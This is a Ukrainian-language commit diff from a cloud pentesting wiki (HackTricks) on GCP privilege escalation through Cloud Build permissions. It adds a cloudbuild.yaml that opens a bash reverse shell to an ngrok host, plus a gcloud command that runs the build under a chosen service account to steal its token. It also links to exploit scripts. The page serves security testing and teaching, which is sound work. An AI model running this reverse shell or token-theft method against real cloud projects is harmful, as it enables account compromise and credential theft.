mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 04:55:32 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
@@ -13,17 +13,29 @@
|
||||
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
З цією дозволом ви можете **надіслати cloud build**. Машина cloudbuild за замовчуванням матиме у своїй файловій системі **токен облікового запису служби cloudbuild**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Однак ви можете **вказати будь-який обліковий запис служби всередині проекту** в конфігурації cloudbuild.\
|
||||
Отже, ви можете просто змусити машину ексфільтрувати токен на ваш сервер або **отримати зворотний шелл всередині неї та отримати токен** (файл, що містить токен, може змінюватися).
|
||||
Отже, ви можете просто змусити машину ексфільтрувати токен на ваш сервер або **отримати зворотний шелл всередині неї і отримати токен** (файл, що містить токен, може змінюватися).
|
||||
|
||||
Ви можете знайти оригінальний скрипт експлуатації [**тут на GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (але місце, звідки він бере токен, не спрацювало для мене). Тому перевірте скрипт для автоматизації [**створення, експлуатації та очищення вразливого середовища тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) та python-скрипт для отримання зворотного шеллу всередині машини cloudbuild і [**викрадення його тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (у коді ви можете знайти, як вказати інші облікові записи служби)**.**
|
||||
#### Пряме використання через gcloud CLI
|
||||
|
||||
1- Створіть `cloudbuild.yaml` і змініть його, використовуючи дані вашого слухача.
|
||||
```yaml
|
||||
steps:
|
||||
- name: bash
|
||||
script: |
|
||||
#!/usr/bin/env bash
|
||||
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
|
||||
options:
|
||||
logging: CLOUD_LOGGING_ONLY
|
||||
```
|
||||
2- Завантажте просту збірку без виходу, yaml файл і вкажіть SA, який потрібно використовувати для збірки:
|
||||
```bash
|
||||
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
|
||||
```
|
||||
#### Використання бібліотеки python gcloud
|
||||
Ви можете знайти оригінальний скрипт експлойту [**тут на GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (але місце, звідки він отримує токен, не спрацювало для мене). Тому перевірте скрипт для автоматизації [**створення, експлуатації та очищення вразливого середовища тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) та python-скрипт для отримання зворотного шеллу всередині машини cloudbuild і [**викрадення його тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (в коді ви можете знайти, як вказати інші облікові записи служби)**.**
|
||||
|
||||
Для більш детального пояснення відвідайте [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
|
||||
### `cloudbuild.builds.update`
|
||||
|
||||
**Можливо**, з цією дозволом ви зможете **оновити cloud build і просто вкрасти токен облікового запису служби**, як це було виконано з попередньою дозволом (але, на жаль, на момент написання цього матеріалу я не зміг знайти жодного способу викликати цей API).
|
||||
|
||||
TODO
|
||||
|
||||
### `cloudbuild.repositories.accessReadToken`
|
||||
|
||||
|
||||
Reference in New Issue
Block a user